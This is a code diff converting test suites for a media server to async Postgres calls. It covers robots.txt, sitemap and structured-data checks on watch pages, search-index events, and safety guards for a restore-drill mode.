-db.ensureProjectTenant('prj_01TESTCRAWL00000000000000A', 'sandbox', 1024);
-const raw = db.getDb();
-const vod = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, is_recording, health_status, thumbnail_url, created_at, duration_seconds)
- VALUES (?, ?, ?, '/x.mp4', ?, ?, ?, ?, ?, ?, 60)`);
-const clip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, auto_generated, status, created_at)
- VALUES (?, ?, ?, ?, '/c.webm', ?, ?, ?, ?, ?)`);
-vod.run(1, 'games', 'Games public', 1, 'public', 0, 'ok', '/t/g1.jpg', '2026-09-20 10:00:00');
-vod.run(2, 'games', 'Games unlisted', 0, 'unlisted', 0, 'ok', null, '2026-09-20 11:00:00');
-vod.run(3, 'games', 'Games private', 0, 'private', 0, 'ok', null, '2026-09-20 12:00:00');
-vod.run(4, 'live', 'Live public', 1, 'public', 0, 'ok', null, '2026-09-21 10:00:00');
-vod.run(5, 'games', 'Games recording', 1, 'public', 1, 'unknown', null, '2026-09-21 11:00:00');
-vod.run(6, 'games', 'Games failed', 1, 'public', 0, 'corrupt', null, '2026-09-21 12:00:00');
-vod.run(7, 'prj_01TESTCRAWL00000000000000A-sandbox', 'Sandbox', 1, 'public', 0, 'ok', null, '2026-09-21 13:00:00');
-clip.run(11, 'games', 1, 'Games clip', 1, 'public', 0, 'ready', '2026-09-22 10:00:00');
-clip.run(12, 'games', 1, 'AI moment', 1, 'public', 1, 'ready', '2026-09-22 11:00:00');
-clip.run(13, 'games', 1, 'Cutting', 1, 'public', 0, 'processing', '2026-09-22 12:00:00');
-clip.run(14, 'games', 1, 'Unlisted clip', 0, 'unlisted', 0, 'ready', '2026-09-22 13:00:00');
-clip.run(15, 'live', 4, 'Live clip', 1, 'public', 0, 'ready', '2026-09-22 14:00:00');
-// Public and finished, but its only copy (B2) has never been checked: not playable, never listed.
-raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, health_status, storage_provider, created_at, duration_seconds)
- VALUES (8, 'games', 'Games unverified', '/gone.mp4', 1, 'public', 'ok', 'b2', '2026-09-21 14:00:00', 60)`).run();
-// The files behind the rows, then their objects: the local copies are checked (present) when projected.
-fs.mkdirSync(path.join(tmp, 'vods'), { recursive: true });
-fs.mkdirSync(path.join(tmp, 'clips'), { recursive: true });
-fs.writeFileSync(path.join(tmp, 'vods', 'x.mp4'), 'video bytes');
-fs.writeFileSync(path.join(tmp, 'clips', 'c.webm'), 'clip bytes');
-const model = require('../server/objects/model');
-const readiness = require('../server/objects/readiness');
-for (const id of [1, 2, 3, 4, 5, 6, 7, 8]) model.sync('vod', id);
-for (const id of [11, 12, 13, 14, 15]) model.sync('clip', id);
+ await db.upsertApp({ app_id: 'live', api_key: 'k1-live-crawl' });
+ await db.upsertApp({ app_id: 'games', api_key: 'k2-games-crawl' });
+ await db.ensureProjectTenant('prj_01TESTCRAWL00000000000000A', 'sandbox', 1024);
+ const raw = db.getDb();
+ const vod = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, is_recording, health_status, thumbnail_url, created_at, duration_seconds) OVERRIDING SYSTEM VALUE
+ VALUES (?, ?, ?, '/x.mp4', ?, ?, ?, ?, ?, ?, 60) RETURNING id`);
+ const clip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, auto_generated, status, created_at) OVERRIDING SYSTEM VALUE
+ VALUES (?, ?, ?, ?, '/c.webm', ?, ?, ?, ?, ?) RETURNING id`);
+ await vod.run(1, 'games', 'Games public', 1, 'public', 0, 'ok', '/t/g1.jpg', '2026-09-20 10:00:00');
+ await vod.run(2, 'games', 'Games unlisted', 0, 'unlisted', 0, 'ok', null, '2026-09-20 11:00:00');
+ await vod.run(3, 'games', 'Games private', 0, 'private', 0, 'ok', null, '2026-09-20 12:00:00');
+ await vod.run(4, 'live', 'Live public', 1, 'public', 0, 'ok', null, '2026-09-21 10:00:00');
+ await vod.run(5, 'games', 'Games recording', 1, 'public', 1, 'unknown', null, '2026-09-21 11:00:00');
+ await vod.run(6, 'games', 'Games failed', 1, 'public', 0, 'corrupt', null, '2026-09-21 12:00:00');
+ await vod.run(7, 'prj_01TESTCRAWL00000000000000A-sandbox', 'Sandbox', 1, 'public', 0, 'ok', null, '2026-09-21 13:00:00');
+ await clip.run(11, 'games', 1, 'Games clip', 1, 'public', 0, 'ready', '2026-09-22 10:00:00');
+ await clip.run(12, 'games', 1, 'AI moment', 1, 'public', 1, 'ready', '2026-09-22 11:00:00');
+ await clip.run(13, 'games', 1, 'Cutting', 1, 'public', 0, 'processing', '2026-09-22 12:00:00');
+ await clip.run(14, 'games', 1, 'Unlisted clip', 0, 'unlisted', 0, 'ready', '2026-09-22 13:00:00');
+ await clip.run(15, 'live', 4, 'Live clip', 1, 'public', 0, 'ready', '2026-09-22 14:00:00');
+ // Public and finished, but its only copy (B2) has never been checked: not playable, never listed.
+ await raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, health_status, storage_provider, created_at, duration_seconds) OVERRIDING SYSTEM VALUE
+ VALUES (8, 'games', 'Games unverified', '/gone.mp4', 1, 'public', 'ok', 'b2', '2026-09-21 14:00:00', 60) RETURNING id`).run();
+ // The files behind the rows, then their objects: the local copies are checked (present) when projected.
+ fs.mkdirSync(path.join(tmp, 'vods'), { recursive: true });
+ fs.mkdirSync(path.join(tmp, 'clips'), { recursive: true });
+ fs.writeFileSync(path.join(tmp, 'vods', 'x.mp4'), 'video bytes');
+ fs.writeFileSync(path.join(tmp, 'clips', 'c.webm'), 'clip bytes');
+ const model = require('../server/objects/model');
+ const readiness = require('../server/objects/readiness');
+ for (const id of [1, 2, 3, 4, 5, 6, 7, 8]) await model.sync('vod', id);
+ for (const id of [11, 12, 13, 14, 15]) await model.sync('clip', id);
-const app = express();
-app.use('/', require('../server/public/routes'));
-const server = app.listen(0, '127.0.0.1');
-const get = (p, headers = {}) => new Promise((resolve, reject) => {
- http.get({ host: '127.0.0.1', port: server.address().port, path: p, headers }, (res) => {
- let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; }); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body }));
- }).on('error', reject);
-});
+ const app = express();
+ app.use('/', require('../server/public/routes'));
+ const server = app.listen(0, '127.0.0.1');
+ const get = (p, headers = {}) => new Promise((resolve, reject) => {
+ http.get({ host: '127.0.0.1', port: server.address().port, path: p, headers }, (res) => {
+ let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; }); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body }));
+ }).on('error', reject);
+ });
-(async () => {
- await new Promise((res) => (server.listening ? res() : server.once('listening', res)));
- // ── robots.txt ──
- let r = await get('/robots.txt');
- assert.strictEqual(r.status, 200);
- assert.ok(r.headers['content-type'].startsWith('text/plain'));
- assert.ok(r.body.includes('Sitemap: https://media.test/sitemap.xml'));
- for (const d of ['/api/', '/auth/', '/o/', '/internal/']) assert.ok(r.body.includes(`Disallow: ${d}`), `robots keeps ${d} out`);
- assert.ok(/User-agent: GPTBot/.test(r.body) && /User-agent: ClaudeBot/.test(r.body), 'the AI-crawler policy is named');
- console.log('✅ /robots.txt: sitemap, APIs disallowed, AI crawlers named');
+ (async () => {
+ await new Promise((res) => (server.listening ? res() : server.once('listening', res)));
+ // ── robots.txt ──
+ let r = await get('/robots.txt');
+ assert.strictEqual(r.status, 200);
+ assert.ok(r.headers['content-type'].startsWith('text/plain'));
+ assert.ok(r.body.includes('Sitemap: https://media.test/sitemap.xml'));
+ for (const d of ['/api/', '/auth/', '/o/', '/internal/']) assert.ok(r.body.includes(`Disallow: ${d}`), `robots keeps ${d} out`);
+ assert.ok(/User-agent: GPTBot/.test(r.body) && /User-agent: ClaudeBot/.test(r.body), 'the AI-crawler policy is named');
+ console.log('✅ /robots.txt: sitemap, APIs disallowed, AI crawlers named');
- // ── sitemap.xml ──
- r = await get('/sitemap.xml');
- assert.strictEqual(r.status, 200);
- assert.ok(r.headers['content-type'].startsWith('application/xml'));
- const locs = [...r.body.matchAll(/<loc>([^<]+)<\/loc>/g)].map(m => m[1]);
- assert.deepStrictEqual(locs.filter(l => !l.includes('/t/')).sort(), ['https://media.test/', 'https://media.test/c/11', 'https://media.test/v/1'].sort());
- assert.ok(r.body.includes('<image:loc>https://media.test/t/g1.jpg</image:loc>'), 'thumbnails as image entries');
- for (const never of ['/v/2', '/v/3', '/v/4', '/v/5', '/v/6', '/v/7', '/v/8', '/c/12', '/c/13', '/c/14', '/c/15']) {
- assert.ok(!locs.includes(`https://media.test${never}`), `${never} is not listed`);
- }
- // Every listed watch page renders index, follow (no "submitted URL marked noindex").
- const byId = (t, id) => db.get(`SELECT * FROM ${t} WHERE id = ?`, [id]);
- const page = (kind, row) => pages.renderWatchPage(kind, row, readiness.forRow(row));
- assert.ok(page('vod', byId('vods', 1)).includes('content="index, follow"'));
- assert.ok(page('clip', byId('clips', 11)).includes('content="index, follow"'));
- assert.strictEqual(readiness.forRow(byId('vods', 8)).reason, 'verification_pending');
- assert.ok(page('vod', byId('vods', 8)).includes('content="noindex, follow"'), 'a page without a player never indexes');
- console.log('✅ /sitemap.xml: public playable items Media is canonical for; private, unlisted, sandbox, Live-owned, AI, recording, failed and unverified never');
+ // ── sitemap.xml ──
+ r = await get('/sitemap.xml');
+ assert.strictEqual(r.status, 200);
+ assert.ok(r.headers['content-type'].startsWith('application/xml'));
+ const locs = [...r.body.matchAll(/<loc>([^<]+)<\/loc>/g)].map(m => m[1]);
+ assert.deepStrictEqual(locs.filter(l => !l.includes('/t/')).sort(), ['https://media.test/', 'https://media.test/c/11', 'https://media.test/v/1'].sort());
+ assert.ok(r.body.includes('<image:loc>https://media.test/t/g1.jpg</image:loc>'), 'thumbnails as image entries');
+ for (const never of ['/v/2', '/v/3', '/v/4', '/v/5', '/v/6', '/v/7', '/v/8', '/c/12', '/c/13', '/c/14', '/c/15']) {
+ assert.ok(!locs.includes(`https://media.test${never}`), `${never} is not listed`);
+ }
+ // Every listed watch page renders index, follow (no "submitted URL marked noindex").
+ const byId = async (t, id) => await db.get(`SELECT * FROM ${t} WHERE id = ?`, [id]);
+ const page = async (kind, row) => pages.renderWatchPage(kind, row, await readiness.forRow(row));
+ assert.ok((await page('vod', await byId('vods', 1))).includes('content="index, follow"'));
+ assert.ok((await page('clip', await byId('clips', 11))).includes('content="index, follow"'));
+ assert.strictEqual((await readiness.forRow(await byId('vods', 8))).reason, 'verification_pending');
+ assert.ok((await page('vod', await byId('vods', 8))).includes('content="noindex, follow"'), 'a page without a player never indexes');
+ console.log('✅ /sitemap.xml: public playable items Media is canonical for; private, unlisted, sandbox, Live-owned, AI, recording, failed and unverified never');
- // ── llms.txt ──
- r = await get('/llms.txt');
- assert.strictEqual(r.status, 200);
- assert.ok(r.body.startsWith('# OpenVibe.Media') && r.body.includes('https://media.test/sitemap.xml') && r.body.includes('AI clip'));
- assert.ok(!/\bfree\b/i.test(r.body), 'no cost claims');
- console.log('✅ /llms.txt maps the site');
+ // ── llms.txt ──
+ r = await get('/llms.txt');
+ assert.strictEqual(r.status, 200);
+ assert.ok(r.body.startsWith('# OpenVibe.Media') && r.body.includes('https://media.test/sitemap.xml') && r.body.includes('AI clip'));
+ assert.ok(!/\bfree\b/i.test(r.body), 'no cost claims');
+ console.log('✅ /llms.txt maps the site');
- // ── Watch pages: VideoObject on public pages; AI clips noindex, no Person, based on the VOD ──
- const ldOf = (html) => { const m = /<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(html); return m ? JSON.parse(m[1]) : null; };
- const pub = pages.renderWatchPage('vod', { ...byId('vods', 1), username: 'gamer' });
- assert.strictEqual(ldOf(pub)['@type'], 'VideoObject');
- assert.deepStrictEqual(ldOf(pub).author, { '@type': 'Person', name: 'gamer' });
- const aiHtml = pages.renderWatchPage('clip', { ...byId('clips', 12), username: 'gamer' });
- assert.ok(aiHtml.includes('content="noindex, follow"'), 'AI clips never index');
- const aiLd = ldOf(aiHtml);
- assert.strictEqual(aiLd.author, undefined, 'no Person attribution for an AI clip');
- assert.deepStrictEqual(aiLd.creator, { '@type': 'Organization', name: 'OpenVibe AI', url: 'https://openvibe.network' });
- assert.strictEqual(aiLd.isBasedOn, 'https://media.test/v/1');
- assert.ok(aiHtml.includes('<span>AI clip</span>') && !aiHtml.includes('by gamer'));
- assert.strictEqual(ldOf(pages.renderWatchPage('vod', byId('vods', 2))), null, 'unlisted pages carry no structured data');
- assert.ok(pages.renderWatchPage('clip', byId('clips', 15)).includes('content="noindex, follow"'), 'Live-owned: canonical on Live');
- r = await get('/c/12', { accept: 'text/html', 'sec-fetch-dest': 'document' });
- assert.strictEqual(r.status, 200);
- assert.ok(r.body.includes('content="noindex, follow"'));
- console.log('✅ watch pages: VideoObject when public; AI clips noindex, attributed to OpenVibe AI and their source VOD');
+ // ── Watch pages: VideoObject on public pages; AI clips noindex, no Person, based on the VOD ──
+ const ldOf = (html) => { const m = /<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(html); return m ? JSON.parse(m[1]) : null; };
+ const pub = pages.renderWatchPage('vod', { ...await byId('vods', 1), username: 'gamer' });
+ assert.strictEqual(ldOf(pub)['@type'], 'VideoObject');
+ assert.deepStrictEqual(ldOf(pub).author, { '@type': 'Person', name: 'gamer' });
+ const aiHtml = pages.renderWatchPage('clip', { ...await byId('clips', 12), username: 'gamer' });
+ assert.ok(aiHtml.includes('content="noindex, follow"'), 'AI clips never index');
+ const aiLd = ldOf(aiHtml);
+ assert.strictEqual(aiLd.author, undefined, 'no Person attribution for an AI clip');
+ assert.deepStrictEqual(aiLd.creator, { '@type': 'Organization', name: 'OpenVibe AI', url: 'https://openvibe.network' });
+ assert.strictEqual(aiLd.isBasedOn, 'https://media.test/v/1');
+ assert.ok(aiHtml.includes('<span>AI clip</span>') && !aiHtml.includes('by gamer'));
+ assert.strictEqual(ldOf(pages.renderWatchPage('vod', await byId('vods', 2))), null, 'unlisted pages carry no structured data');
+ assert.ok(pages.renderWatchPage('clip', await byId('clips', 15)).includes('content="noindex, follow"'), 'Live-owned: canonical on Live');
+ r = await get('/c/12', { accept: 'text/html', 'sec-fetch-dest': 'document' });
+ assert.strictEqual(r.status, 200);
+ assert.ok(r.body.includes('content="noindex, follow"'));
+ console.log('✅ watch pages: VideoObject when public; AI clips noindex, attributed to OpenVibe AI and their source VOD');
- // ── Search documents (search-documents.js): exactly the sitemap's watch pages; a page that stops
- // qualifying gets one tombstone; nothing is sent twice ──
- const events = require('../server/events');
- events.init({ eventsUrl: 'http://127.0.0.1:9', clientSecret: 's', intervalMs: 3_600_000, fetchImpl: async () => { throw new Error('offline'); } });
- const search = require('../server/public/search-documents');
- const queued = () => raw.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((x) => JSON.parse(x.envelope)).filter((e) => /^media\.index_document\./.test(e.event_type));
- const { validate } = require('openvibe-contracts');
- search.sync();
- const sent = queued();
- assert.deepStrictEqual(sent.map((e) => e.payload.canonical_url).sort(), require('../server/public/crawl').sitemapEntries().map((e) => e.loc).sort(), 'the same pages as the sitemap');
- for (const e of sent) { const v = validate(`${e.event_type}@1`, e.payload); assert.ok(v.valid, JSON.stringify(v.errors)); assert.strictEqual(e.priority, 'low'); assert.ok(!('app_id' in e.payload)); }
- search.sync();
- assert.strictEqual(queued().length, sent.length, 'unchanged: nothing sent again');
- raw.prepare("UPDATE vods SET visibility = 'private', is_public = 0 WHERE id = 1").run();
- search.sync();
- const tomb = queued().at(-1);
- assert.strictEqual(tomb.event_type, 'media.index_document.deleted');
- assert.deepStrictEqual(tomb.payload, { type: 'vod', id: '1', revision: 2 });
- assert.ok(validate('media.index_document.deleted@1', tomb.payload).valid);
- events._reset && events._reset();
- console.log('✅ search documents: the sitemap\'s pages, sent once, a tombstone when one goes private');
+ // ── Search documents (search-documents.js): exactly the sitemap's watch pages; a page that stops
+ // qualifying gets one tombstone; nothing is sent twice ──
+ const events = require('../server/events');
+ events.init({ eventsUrl: 'http://127.0.0.1:9', clientSecret: 's', intervalMs: 3_600_000, fetchImpl: async () => { throw new Error('offline'); } });
+ const search = require('../server/public/search-documents');
+ const queued = async () => (await raw.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((x) => (typeof x.envelope === 'string' ? JSON.parse(x.envelope) : x.envelope)).filter((e) => /^media\.index_document\./.test(e.event_type));
+ const { validate } = require('openvibe-contracts');
+ await search.sync();
+ const sent = await queued();
+ assert.deepStrictEqual(sent.map((e) => e.payload.canonical_url).sort(), (await require('../server/public/crawl').sitemapEntries()).map((e) => e.loc).sort(), 'the same pages as the sitemap');
+ for (const e of sent) { const v = validate(`${e.event_type}@1`, e.payload); assert.ok(v.valid, JSON.stringify(v.errors)); assert.strictEqual(e.priority, 'low'); assert.ok(!('app_id' in e.payload)); }
+ await search.sync();
+ assert.strictEqual((await queued()).length, sent.length, 'unchanged: nothing sent again');
+ await raw.prepare("UPDATE vods SET visibility = 'private', is_public = 0 WHERE id = 1").run();
+ await search.sync();
+ const tomb = (await queued()).at(-1);
+ assert.strictEqual(tomb.event_type, 'media.index_document.deleted');
+ assert.deepStrictEqual(tomb.payload, { type: 'vod', id: '1', revision: 2 });
+ assert.ok(validate('media.index_document.deleted@1', tomb.payload).valid);
+ events._reset && events._reset();
+ console.log('✅ search documents: the sitemap\'s pages, sent once, a tombstone when one goes private');
- server.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('\n✅ All crawler tests passed');
- process.exit(0);
-})().catch((err) => { console.error(err); server.close(); process.exit(1); });
+ server.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('\n✅ All crawler tests passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); server.close(); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -9,30 +9,23 @@ const fs = require('fs');
@@ -9,30 +9,23 @@ const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-dbopen-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-for (const [k, n] of [['VOD_PATH', 'vods'], ['CLIPS_PATH', 'clips'], ['FILES_PATH', 'files'], ['THUMBNAILS_PATH', 'thumbnails'], ['PASTES_PATH', 'pastes'], ['OBJECTS_PATH', 'objects']]) process.env[k] = dir(n);
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-console.log = () => {};
-
-const Database = require('better-sqlite3');
-const db = require('../server/db/database');
-db.getDb();
-db.run("INSERT INTO clips (id, app_id, vod_id, title, status) VALUES (41, 'live', 1, 'being cut', 'processing')");
-
-// A second process opening the same file (a script on the host) goes through getDb() too.
-const other = require('child_process').spawnSync(process.execPath, ['-e', `
- process.env.DB_PATH = ${JSON.stringify(process.env.DB_PATH)};
- ${['VOD_PATH', 'CLIPS_PATH', 'FILES_PATH', 'THUMBNAILS_PATH', 'PASTES_PATH', 'OBJECTS_PATH', 'MEDIA_PUBLIC_URL'].map(k => `process.env.${k} = ${JSON.stringify(process.env[k])};`).join('\n')}
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-dbopen-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ for (const [k, n] of [['VOD_PATH', 'vods'], ['CLIPS_PATH', 'clips'], ['FILES_PATH', 'files'], ['THUMBNAILS_PATH', 'thumbnails'], ['PASTES_PATH', 'pastes'], ['OBJECTS_PATH', 'objects']]) process.env[k] = dir(n);
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
console.log = () => {};
console.log = () => {};
- require(${JSON.stringify(path.join(__dirname, '..', 'server', 'db', 'database'))}).getDb();
-`], { encoding: 'utf8' });
-assert.strictEqual(other.status, 0, other.stderr);
-const raw = new Database(process.env.DB_PATH, { readonly: true });
-assert.strictEqual(raw.prepare('SELECT status FROM clips WHERE id = 41').get().status, 'processing', 'opening the database leaves a clip being cut alone');
-raw.close();
+ const db = require('../server/db/database');
+ await db.initDb();
+ await db.run("INSERT INTO clips (id, app_id, vod_id, title, status) OVERRIDING SYSTEM VALUE VALUES (41, 'live', 1, 'being cut', 'processing')");
+
+ // Another opening of the database (a script on the host goes through initDb() too) changes no row.
+ await db.close();
+ await db.initDb();
+ assert.strictEqual((await db.get('SELECT status FROM clips WHERE id = 41')).status, 'processing', 'opening the database leaves a clip being cut alone');
-fs.rmSync(tmp, { recursive: true, force: true });
-process.stdout.write('db open keeps clips: all checks passed\n');
+ fs.rmSync(tmp, { recursive: true, force: true });
+ process.stdout.write('db open keeps clips: all checks passed\n');
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -1,10 +1,11 @@
@@ -1,10 +1,11 @@
'use strict';
'use strict';
/**
/**
* MEDIA_DRILL=1 (server/drill.js): a restore-drill instance (`ovhost drill media`, OpenVibe.Host
* MEDIA_DRILL=1 (server/drill.js): a restore-drill instance (`ovhost drill media`, OpenVibe.Host
- * docs/restore-drills.md) serves reads from a restored copy of media.db and does nothing else.
+ * docs/restore-drills.md) serves reads from a restored copy of the database and does nothing else.
*
*
- * - It refuses to start when DB_PATH is production's media.db or inside the checkout, when HOST is
- * not loopback or PORT is production's 4100, before the database is opened (a real
+ * - It refuses to start when DATABASE_URL is production's database (ov_media on 5432/6432) or
+ * DATABASE_DIRECT_URL is set, when HOST is not loopback or PORT is production's 4100, before the
+ * database is opened (a real
* `node server/index.js`, in a child process).
* `node server/index.js`, in a child process).
* - Booted for real (server/index.js, in this process) on a copy whose `live` app has a webhook
* - Booted for real (server/index.js, in this process) on a copy whose `live` app has a webhook
* URL, with production-like settings (EVENTS_URL + client secret, B2/R2, app seeding, VOD_PATH …):
* URL, with production-like settings (EVENTS_URL + client secret, B2/R2, app seeding, VOD_PATH …):
@@ -27,291 +28,277 @@ const os = require('os');
@@ -27,291 +28,277 @@ const os = require('os');
const path = require('path');
const path = require('path');
const { spawnSync, execFileSync } = require('child_process');
const { spawnSync, execFileSync } = require('child_process');
-const REPO = path.resolve(__dirname, '..');
-const SERVER = path.join(REPO, 'server');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'media-drill-test-'));
-// "Production": its database and its storage, with real files the database points at.
-const PROD = path.join(tmp, 'prod');
-const P = { vods: path.join(PROD, 'vods'), clips: path.join(PROD, 'clips'), pastes: path.join(PROD, 'pastes'), files: path.join(PROD, 'files'), objects: path.join(PROD, 'objects'), assets: path.join(PROD, 'assets'), thumbs: path.join(PROD, 'thumbnails') };
-// The drill: the restored copy in its own directory; storage the way the Host inventory sets it
-// (every directory but thumbnails moved under the drill directory, never created).
-const DRILL = path.join(tmp, 'drill');
-const DB_PATH = path.join(DRILL, 'db', 'media.db');
-const STORAGE = path.join(DRILL, 'storage');
-
-let failures = 0;
-async function check(name, fn) {
- try { await fn(); console.log(` ✓ ${name}`); } catch (err) { failures++; console.error(` ✗ ${name}\n ${err.stack || err.message}`); }
-}
-function freePort() {
- return new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });
-}
-/** Every file and directory under dir with its size and mtime. */
-function snapshot(dir) {
- const out = {};
- const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); const s = fs.statSync(p); out[path.relative(dir, p)] = `${e.isDirectory() ? 'dir' : s.size}:${s.mtimeMs}`; if (e.isDirectory()) walk(p); } };
- walk(dir);
- return out;
-}
-
-const drillMod = require('../server/drill'); // MEDIA_DRILL is unset here: `enabled` is false until the boot below
-const safe = { DB_PATH, HOST: '127.0.0.1', PORT: '14100' };
-
(async () => {
(async () => {
- console.log('drill-mode: environment guard');
- await check('MEDIA_DRILL parses like a switch and is off by default', () => {
- for (const v of ['1', 'true', 'on', 'yes']) assert.strictEqual(drillMod.parse(v), true, v);
- for (const v of ['', '0', 'false', 'off', undefined]) assert.strictEqual(drillMod.parse(v), false, String(v));
- assert.strictEqual(drillMod.enabled, false);
- });
- await check('a safe environment passes', () => assert.deepStrictEqual(drillMod.problems(safe), []));
- await check('refuses production\'s media.db (the checkout\'s, /opt/openvibe.media\'s, the relative default)', () => {
- for (const p of [path.join(REPO, 'data', 'media.db'), '/opt/openvibe.media/data/media.db']) {
- assert.ok(drillMod.problems({ ...safe, DB_PATH: p }).some((m) => /production's database/.test(m)), p);
- }
- assert.ok(drillMod.problems({ ...safe, DB_PATH: './data/media.db' }, { cwd: REPO }).some((m) => /production's database/.test(m)));
- assert.ok(drillMod.problems({ ...safe, DB_PATH: '' }).some((m) => /DB_PATH is not set/.test(m)));
- });
- await check('refuses a copy inside the checkout or /opt/openvibe.media, also through a symlink', () => {
- assert.ok(drillMod.problems({ ...safe, DB_PATH: path.join(REPO, 'drill.db') }).some((m) => /is inside/.test(m)));
- assert.ok(drillMod.problems({ ...safe, DB_PATH: '/opt/openvibe.media/drill/media.db' }).some((m) => /is inside \/opt\/openvibe\.media/.test(m)));
- const link = path.join(tmp, 'sneaky');
- fs.symlinkSync(REPO, link);
- assert.ok(drillMod.problems({ ...safe, DB_PATH: path.join(link, 'copy.db') }).some((m) => /is inside/.test(m)));
- fs.unlinkSync(link);
- });
- await check('refuses a non-loopback HOST and production\'s PORT', () => {
- for (const h of ['', '0.0.0.0', '::', '10.0.0.4']) assert.ok(drillMod.problems({ ...safe, HOST: h }).some((m) => /not loopback/.test(m)), h);
- for (const h of ['127.0.0.1', '::1', 'localhost']) assert.deepStrictEqual(drillMod.problems({ ...safe, HOST: h }), [], h);
- assert.ok(drillMod.problems({ ...safe, PORT: '4100' }).some((m) => /production's port/.test(m)));
- assert.ok(drillMod.problems({ ...safe, PORT: '' }).some((m) => /PORT is not set/.test(m)));
- });
-
- // ── A real `node server/index.js` refuses before opening anything ──
- console.log('drill-mode: refusal at boot');
- const refusalPort = await freePort();
- const boot = (env) => spawnSync(process.execPath, [path.join(SERVER, 'index.js')], {
- cwd: REPO, encoding: 'utf8', timeout: 30000,
- env: { ...process.env, MEDIA_DRILL: '1', HOST: '127.0.0.1', PORT: String(refusalPort), ...env },
- });
- const stamp = (p) => { try { const s = fs.statSync(p); return `${s.size}:${s.mtimeMs}`; } catch { return 'absent'; } };
- await check('DB_PATH = production\'s media.db: exit 1, the file untouched', () => {
- const prod = path.join(REPO, 'data', 'media.db');
- const before = [prod, `${prod}-wal`, `${prod}-shm`].map(stamp);
- const r = boot({ DB_PATH: prod });
- assert.strictEqual(r.status, 1, r.stdout + r.stderr);
- assert.match(r.stderr, /refusing to start a restore-drill instance: DB_PATH .* is production's database/);
- assert.deepStrictEqual([prod, `${prod}-wal`, `${prod}-shm`].map(stamp), before);
- });
- await check('HOST 0.0.0.0: exit 1 before the database is created', () => {
- const other = path.join(tmp, 'never', 'media.db');
- const r = boot({ DB_PATH: other, HOST: '0.0.0.0' });
- assert.strictEqual(r.status, 1, r.stdout + r.stderr);
- assert.match(r.stderr, /HOST \(0\.0\.0\.0\) is not loopback/);
- assert.ok(!fs.existsSync(path.dirname(other)));
- });
+ const REPO = path.resolve(__dirname, '..');
+ const SERVER = path.join(REPO, 'server');
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'media-drill-test-'));
+ // "Production": its database and its storage, with real files the database points at.
+ const PROD = path.join(tmp, 'prod');
+ const P = { vods: path.join(PROD, 'vods'), clips: path.join(PROD, 'clips'), pastes: path.join(PROD, 'pastes'), files: path.join(PROD, 'files'), objects: path.join(PROD, 'objects'), assets: path.join(PROD, 'assets'), thumbs: path.join(PROD, 'thumbnails') };
+ // The drill: a restored copy of the database (pgBackRest restores the cluster on a spare port), and storage the
+ // way the Host inventory sets it (every directory but thumbnails moved under the drill directory, never created).
+ // In this test the process's own database stands for the restored copy.
+ const DRILL = path.join(tmp, 'drill');
+ const DRILL_URL = 'postgres://[email protected]:55432/ov_media_drill';
+ const PROD_URL = 'postgres://[email protected]:6432/ov_media';
+ const STORAGE = path.join(DRILL, 'storage');
+ fs.mkdirSync(DRILL, { recursive: true });
- // ── Production's database and files (a normal-mode process writes them) ──
- // The `live` app's webhook goes to a sink here: a drill must never call it.
- const sinkHits = [];
- const sink = http.createServer((req, res) => { sinkHits.push(`${req.method} ${req.url}`); res.end('ok'); });
- await new Promise((r) => sink.listen(0, '127.0.0.1', r));
- const SINK = `http://127.0.0.1:${sink.address().port}/media-webhook`;
- for (const d of Object.values(P)) fs.mkdirSync(d, { recursive: true });
- const bytes = { vod: path.join(P.vods, 'vod-1.mp4'), rec: path.join(P.vods, 'vod-2.mp4'), clip: path.join(P.clips, 'clip-1.mp4'), asset: path.join(P.assets, 'wave.png'), shot: path.join(P.pastes, 'shot-1.png'), file: path.join(P.files, 'live', 'f1.txt') };
- fs.mkdirSync(path.dirname(bytes.file), { recursive: true });
- for (const f of Object.values(bytes)) fs.writeFileSync(f, `bytes of ${path.basename(f)}`);
- fs.writeFileSync(path.join(P.thumbs, 'vod-1-1.jpg'), 'jpeg');
- const prodDb = path.join(PROD, 'media.db');
- const seed = spawnSync(process.execPath, ['-e', `
- const db = require('./server/db/database');
- db.getDb();
- require('./server/views/service').ensureSchema();
- const b = ${JSON.stringify(bytes)};
- db.run("INSERT INTO apps (app_id, name, api_key_hash, webhook_url, webhook_secret) VALUES ('live', 'OpenVibe.Live', ?, ?, 'whsec')", [require('crypto').createHash('sha256').update('k'.repeat(40)).digest('hex'), ${JSON.stringify(SINK)}]);
